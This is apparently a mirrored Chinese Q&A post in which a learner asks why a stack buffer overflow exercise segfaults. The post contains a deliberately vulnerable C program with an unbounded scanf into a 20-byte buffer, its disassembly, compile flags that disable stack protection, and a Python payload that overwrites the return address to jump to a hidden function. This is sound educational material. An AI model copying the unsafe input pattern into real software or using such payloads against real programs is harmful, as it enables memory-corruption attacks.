如何解决缓冲区溢出漏洞利用 - 获取分段错误
我正在尝试使用此代码进行缓冲区溢出利用。我使用 gcc 编译了 64 位代码,禁用了 ASLR 并允许堆栈粉碎。我不太擅长阅读汇编代码,但我从代码中了解到,32 字节(0x20)的内存是为包含缓冲区(0x20)的局部变量保留的。所以我运行 python 代码打印 40 字节(32 字节 + 8 字节用于 rbp)垃圾 + secretFunction() 的地址。我收到“分段错误”。如何解决这个问题?
这是C代码:
#include <stdio.h>
void secretFunction(){
printf("You are Now inside the secret function!\n");
}
void echo(){
char buffer[20];
printf("Enter some text\n");
scanf("%s",buffer);
printf("You entered : %s\n",buffer);
}
int main()
{
echo();
return 0;
}
我是这样编译的:
gcc main.c -o example -fno-stack-protector
这是汇编代码的一部分:
0000000000001189 <secretFunction>:
1189: f3 0f 1e fa endbr64
118d: 55 push %rbp
118e: 48 89 e5 mov %rsp,%rbp
1191: 48 8d 3d 70 0e 00 00 lea 0xe70(%rip),%rdi # 2008 <_IO_stdin_used+0x8>
1198: e8 d3 fe ff ff callq 1070 <puts@plt>
119d: 90 nop
119e: 5d pop %rbp
119f: c3 retq
00000000000011a0 <echo>:
11a0: f3 0f 1e fa endbr64
11a4: 55 push %rbp
11a5: 48 89 e5 mov %rsp,%rbp
11a8: 48 83 ec 20 sub $0x20,%rsp
11ac: 48 8d 3d 7d 0e 00 00 lea 0xe7d(%rip),%rdi # 2030 <_IO_stdin_used+0x30>
11b3: e8 b8 fe ff ff callq 1070 <puts@plt>
11b8: 48 8d 45 e0 lea -0x20(%rbp),%rax
11bc: 48 89 c6 mov %rax,%rsi
11bf: 48 8d 3d 7a 0e 00 00 lea 0xe7a(%rip),%rdi # 2040 <_IO_stdin_used+0x40>
11c6: b8 00 00 00 00 mov $0x0,%eax
11cb: e8 c0 fe ff ff callq 1090 <__isoc99_scanf@plt>
11d0: 48 8d 45 e0 lea -0x20(%rbp),%rax
11d4: 48 89 c6 mov %rax,%rsi
11d7: 48 8d 3d 65 0e 00 00 lea 0xe65(%rip),%rdi # 2043 <_IO_stdin_used+0x43>
11de: b8 00 00 00 00 mov $0x0,%eax
11e3: e8 98 fe ff ff callq 1080 <printf@plt>
11e8: 90 nop
11e9: c9 leaveq
11ea: c3 retq
00000000000011eb <main>:
11eb: f3 0f 1e fa endbr64
11ef: 55 push %rbp
11f0: 48 89 e5 mov %rsp,%rbp
11f3: b8 00 00 00 00 mov $0x0,%eax
11f8: e8 a3 ff ff ff callq 11a0 <echo>
11fd: b8 00 00 00 00 mov $0x0,%eax
1202: 5d pop %rbp
1203: c3 retq
1204: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
120b: 00 00 00
120e: 66 90 xchg %ax,%ax
python -c 'print "a"*40 + "\x89\x11\x00\x00\x00\x00\x00\x00"' | ./example
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。